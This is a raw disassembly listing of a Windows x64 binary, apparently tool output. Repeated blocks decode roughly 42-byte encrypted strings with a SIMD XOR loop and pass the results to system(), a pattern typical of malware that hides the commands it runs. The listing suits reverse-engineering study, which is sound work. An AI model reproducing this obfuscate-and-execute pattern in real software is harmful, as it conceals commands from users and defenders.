cmp rax, 0x1f
jbe 0x140065442
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d56e4
lea rcx, [rbp + 0x5d8]
call fcn.14005ca60
mov rsi, rax
movzx ecx, word [0x1400f1a40]
mov word [rbp + 0x630], cx
cmp byte [0x1400f1a41], 0
je 0x14006547b
mov byte [rbp + 0x630], reloc.WLDAP32.dll_Ordinal_45
xor byte [rbp + 0x631], 0x34
lea rcx, [rbp + 0x338]
call fcn.14005ca60
mov r10, rax
movups xmm0, xmmword [0x1400f3bd8]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [0x1400f3be8]
movups xmmword [rsp + 0x50], xmm1
movsd xmm0, qword [0x1400f3bf8]
movsd qword [rsp + 0x60], xmm0
movzx ecx, word [0x1400f3c00]
mov word [rsp + 0x68], cx
mov r8d, ebx
cmp r14d, 2
jl 0x140065605
movdqa xmm5, xmmword [0x1400f4ab0]
movdqa xmm4, xmmword [0x1400f4c70]
movdqa xmm6, xmmword [0x1400f4ae0]
movdqa xmm0, xmmword [str.33333333333333337777777777777777]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rsp + 0x44]
mov edx, dword [rsp + 0x20]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400f4b90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400f4b90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140065500
cmp r8d, 0x2a
jge 0x140065640
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2a
jl 0x140065610
mov r8, r10
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x318]
call fcn.1400735b0
nop
lea rcx, [rbp + 0x630]
mov r8, rdi
nop
inc r8
cmp byte [rcx + r8], 0
jne 0x140065660
lea rdx, [rbp + 0x630]
mov rcx, rax
call fcn.140004500
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x20], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x30], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov r9, rsi
lea r8, [rsp + 0x20]
movzx edx, byte [rbp + 0x630]
lea rcx, [rbp + 0x138]
call fcn.1400736e0
lea rcx, [rbp + 0x138]
cmp qword [rbp + 0x150], 0xf
cmova rcx, qword [rbp + 0x138]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0x150]
cmp rdx, 0xf
jbe 0x140065715
inc rdx
mov rcx, qword [rbp + 0x138]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140065710
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140065710
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d56e4
movdqa xmm0, xmmword [0x1400f4a70]
movdqu xmmword [rbp + 0x148], xmm0
mov byte [rbp + 0x138], 0
mov rdx, qword [rsp + 0x38]
cmp rdx, 0xf
jbe 0x14006576d
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140065767
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140065767
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d56e4
nop
mov rdx, qword [rbp + 0x330]
cmp rdx, 0xf
jbe 0x1400657b1
inc rdx
mov rcx, qword [rbp + 0x318]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400657ac
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400657ac
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d56e4
movdqa xmm0, xmmword [0x1400f4a70]
movdqu xmmword [rbp + 0x328], xmm0
mov byte [rbp + 0x318], 0
mov rdx, qword [rbp + 0x350]
cmp rdx, 0xf
jbe 0x14006580c
inc rdx
mov rcx, qword [rbp + 0x338]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140065807
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140065807
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d56e4
movdqa xmm0, xmmword [0x1400f4a70]
movdqu xmmword [rbp + 0x348], xmm0
mov byte [rbp + 0x338], 0
mov rdx, qword [rbp + 0x5f0]
cmp rdx, 0xf
jbe 0x140065867
inc rdx
mov rcx, qword [rbp + 0x5d8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140065862
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140065862
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d56e4
lea rcx, [rsp + 0x78]
call fcn.14005ca60
mov rsi, rax
movzx ecx, word [0x1400f1a40]
mov word [rbp + 0x630], cx
cmp byte [0x1400f1a41], 0
je 0x140065899
mov byte [rbp + 0x630], reloc.WLDAP32.dll_Ordinal_45
xor byte [rbp + 0x631], 0x34
lea rcx, [rbp + 0x378]
call fcn.14005ca60
mov r10, rax
movups xmm0, xmmword [0x1400f3438]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [0x1400f3448]
movups xmmword [rsp + 0x50], xmm1
movsd xmm0, qword [0x1400f3458]
movsd qword [rsp + 0x60], xmm0
movzx ecx, word [0x1400f3460]
mov word [rsp + 0x68], cx
mov r8d, ebx
cmp r14d, 2
jl 0x140065a25
movdqa xmm5, xmmword [0x1400f4ab0]
movdqa xmm4, xmmword [0x1400f4c70]
movdqa xmm6, xmmword [0x1400f4ae0]
movdqa xmm0, xmmword [str.33333333333333337777777777777777]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rsp + 0x44]
mov edx, dword [rsp + 0x20]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400f4b90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400f4b90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140065920
cmp r8d, 0x2a
jge 0x140065a60
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2a
jl 0x140065a30
mov r8, r10
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x358]
call fcn.1400735b0
nop
lea rcx, [rbp + 0x630]
mov r8, rdi
nop
inc r8
cmp byte [rcx + r8], 0
jne 0x140065a80
lea rdx, [rbp + 0x630]
mov rcx, rax
call fcn.140004500
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x20], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x30], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov r9, rsi
lea r8, [rsp + 0x20]
movzx edx, byte [rbp + 0x630]
lea rcx, [rbp + 0x158]
call fcn.1400736e0
lea rcx, [rbp + 0x158]
cmp qword [rbp + 0x170], 0xf
cmova rcx, qword [rbp + 0x158]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0x170]
cmp rdx, 0xf
jbe 0x140065b35
inc rdx
mov rcx, qword [rbp + 0x158]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140065b30
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140065b30
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d56e4
movdqa xmm0, xmmword [0x1400f4a70]
movdqu xmmword [rbp + 0x168], xmm0
mov byte [rbp + 0x158], 0
mov rdx, qword [rsp + 0x38]
cmp rdx, 0xf
jbe 0x140065b8d
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140065b87
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140065b87
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d56e4
nop
mov rdx, qword [rbp + 0x370]
cmp rdx, 0xf
jbe 0x140065bd1
inc rdx
mov rcx, qword [rbp + 0x358]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140065bcc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140065bcc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d56e4
movdqa xmm0, xmmword [0x1400f4a70]
movdqu xmmword [rbp + 0x368], xmm0
mov byte [rbp + 0x358], 0
mov rdx, qword [rbp + 0x390]
cmp rdx, 0xf
jbe 0x140065c2c
inc rdx
mov rcx, qword [rbp + 0x378]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140065c27
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140065c27
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d56e4
movdqa xmm0, xmmword [0x1400f4a70]
movdqu xmmword [rbp + 0x388], xmm0
mov byte [rbp + 0x378], 0
mov rdx, qword [rbp - 0x70]
cmp rdx, 0xf
jbe 0x140065c82
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140065c7d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140065c7d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d56e4
lea rcx, [rbp - 0x58]
call fcn.14005ca60
mov rsi, rax
movzx ecx, word [0x1400f1a40]
mov word [rbp + 0x630], cx
cmp byte [0x1400f1a41], 0
je 0x140065cb3
mov byte [rbp + 0x630], reloc.WLDAP32.dll_Ordinal_45
xor byte [rbp + 0x631], 0x34
lea rcx, [rbp + 0x3b8]
call fcn.14005ca60
mov r10, rax
movups xmm0, xmmword [0x1400f4818]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [0x1400f4828]
movups xmmword [rsp + 0x50], xmm1
movsd xmm0, qword [0x1400f4838]
movsd qword [rsp + 0x60], xmm0
movzx ecx, word [0x1400f4840]
mov word [rsp + 0x68], cx
mov r8d, ebx
cmp r14d, 2
jl 0x140065e35
movdqa xmm5, xmmword [0x1400f4ab0]
movdqa xmm4, xmmword [0x1400f4c70]
movdqa xmm6, xmmword [0x1400f4ae0]
movdqa xmm0, xmmword [str.33333333333333337777777777777777]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rsp + 0x44]
mov edx, dword [rsp + 0x20]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400f4b90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400f4b90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140065d30
cmp r8d, 0x2a
jge 0x140065e70
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2a
jl 0x140065e40
mov r8, r10
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x398]
call fcn.1400735b0
nop
lea rcx, [rbp + 0x630]
mov r8, rdi
nop
inc r8
cmp byte [rcx + r8], 0
jne 0x140065e90
lea rdx, [rbp + 0x630]
mov rcx, rax
call fcn.140004500
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x20], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x30], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov r9, rsi
lea r8, [rsp + 0x20]
movzx edx, byte [rbp + 0x630]
lea rcx, [rbp + 0x178]
call fcn.1400736e0
lea rcx, [rbp + 0x178]
cmp qword [rbp + 0x190], 0xf
cmova rcx, qword [rbp + 0x178]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0x190]
cmp rdx, 0xf
jbe 0x140065f45
inc rdx
mov rcx, qword [rbp + 0x178]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140065f40
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140065f40
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d56e4
movdqa xmm0, xmmword [0x1400f4a70]
movdqu xmmword [rbp + 0x188], xmm0
mov byte [rbp + 0x178], 0
mov rdx, qword [rsp + 0x38]
cmp rdx, 0xf
jbe 0x140065f9d
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140065f97
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140065f97
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d56e4
nop
mov rdx, qword [rbp + 0x3b0]
cmp rdx, 0xf
jbe 0x140065fe1
inc rdx
mov rcx, qword [rbp + 0x398]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140065fdc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140065fdc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d56e4
movdqa xmm0, xmmword [0x1400f4a70]
movdqu xmmword [rbp + 0x3a8], xmm0
mov byte [rbp + 0x398], 0
mov rdx, qword [rbp + 0x3d0]
cmp rdx, 0xf
jbe 0x14006603c
inc rdx
mov rcx, qword [rbp + 0x3b8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140066037
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140066037
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d56e4
movdqa xmm0, xmmword [0x1400f4a70]
movdqu xmmword [rbp + 0x3c8], xmm0
mov byte [rbp + 0x3b8], 0
mov rdx, qword [rbp - 0x40]
cmp rdx, 0xf
jbe 0x140066091
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006608c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14006608c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d56e4
lea rcx, [rbp - 0x38]
call fcn.14005ca60
mov rsi, rax
movzx ecx, word [0x1400f1a40]
mov word [rbp + 0x630], cx
cmp byte [0x1400f1a41], 0
je 0x1400660c2
mov byte [rbp + 0x630], reloc.WLDAP32.dll_Ordinal_45
xor byte [rbp + 0x631], 0x34
lea rcx, [rbp + 0x3f8]
call fcn.14005ca60
mov r10, rax
movups xmm0, xmmword [0x1400f3180]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [0x1400f3190]
movups xmmword [rsp + 0x50], xmm1
movsd xmm0, qword [0x1400f31a0]
movsd qword [rsp + 0x60], xmm0
movzx ecx, word [0x1400f31a8]
mov word [rsp + 0x68], cx
mov r8d, ebx
cmp r14d, 2
jl 0x140066245
movdqa xmm5, xmmword [0x1400f4ab0]
movdqa xmm4, xmmword [0x1400f4c70]
movdqa xmm6, xmmword [0x1400f4ae0]
movdqa xmm0, xmmword [str.33333333333333337777777777777777]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rsp + 0x44]
mov edx, dword [rsp + 0x20]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400f4b90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400f4b90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140066140
cmp r8d, 0x2a
jge 0x140066280
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2a
jl 0x140066250
mov r8, r10
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x3d8]
call fcn.1400735b0
nop
lea rcx, [rbp + 0x630]
mov r8, rdi
nop
inc r8
cmp byte [rcx + r8], 0
jne 0x1400662a0
lea rdx, [rbp + 0x630]
mov rcx, rax
call fcn.140004500
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x20], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x30], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov r9, rsi
lea r8, [rsp + 0x20]
movzx edx, byte [rbp + 0x630]
lea rcx, [rbp + 0x198]
call fcn.1400736e0
lea rcx, [rbp + 0x198]
cmp qword [rbp + 0x1b0], 0xf
cmova rcx, qword [rbp + 0x198]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0x1b0]
cmp rdx, 0xf
jbe 0x140066355
inc rdx
mov rcx, qword [rbp + 0x198]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140066350
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140066350
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d56e4
movdqa xmm0, xmmword [0x1400f4a70]
movdqu xmmword [rbp + 0x1a8], xmm0
mov byte [rbp + 0x198], 0
mov rdx, qword [rsp + 0x38]
cmp rdx, 0xf
jbe 0x1400663ad
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400663a7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400663a7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d56e4
nop
mov rdx, qword [rbp + 0x3f0]
cmp rdx, 0xf
jbe 0x1400663f1
inc rdx
mov rcx, qword [rbp + 0x3d8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400663ec
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400663ec
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d56e4
movdqa xmm0, xmmword [0x1400f4a70]
movdqu xmmword [rbp + 0x3e8], xmm0
mov byte [rbp + 0x3d8], 0
mov rdx, qword [rbp + 0x410]
cmp rdx, 0xf
jbe 0x14006644c
inc rdx
mov rcx, qword [rbp + 0x3f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140066447
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140066447
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d56e4
movdqa xmm0, xmmword [0x1400f4a70]
movdqu xmmword [rbp + 0x408], xmm0
mov byte [rbp + 0x3f8], 0
mov rdx, qword [rbp - 0x20]
cmp rdx, 0xf
jbe 0x1400664a1
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006649c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14006649c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d56e4
lea rcx, [rsp + 0x40]
call fcn.14005ca60
mov rsi, rax
movzx ecx, word [0x1400f1a40]
mov word [rbp + 0x630], cx
cmp byte [0x1400f1a41], 0
je 0x1400664d3
mov byte [rbp + 0x630], reloc.WLDAP32.dll_Ordinal_45
xor byte [rbp + 0x631], 0x34
lea rcx, [rbp + 0x18]
call fcn.14005ca60
mov r10, rax
movups xmm0, xmmword [0x1400f1cb0]
movups xmmword [rbp - 0x38], xmm0
movups xmm1, xmmword [0x1400f1cc0]
movups xmmword [rbp - 0x28], xmm1
movsd xmm0, qword [0x1400f1cd0]
movsd qword [rbp - 0x18], xmm0
movzx ecx, word [0x1400f1cd8]
mov word [rbp - 0x10], cx
mov r8d, ebx
cmp r14d, 2
jl 0x140066655
movdqa xmm5, xmmword [0x1400f4ab0]
movdqa xmm4, xmmword [0x1400f4c70]
movdqa xmm6, xmmword [0x1400f4ae0]
movdqa xmm0, xmmword [str.33333333333333337777777777777777]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rbp - 0x34]
mov edx, dword [rsp + 0x20]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400f4b90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
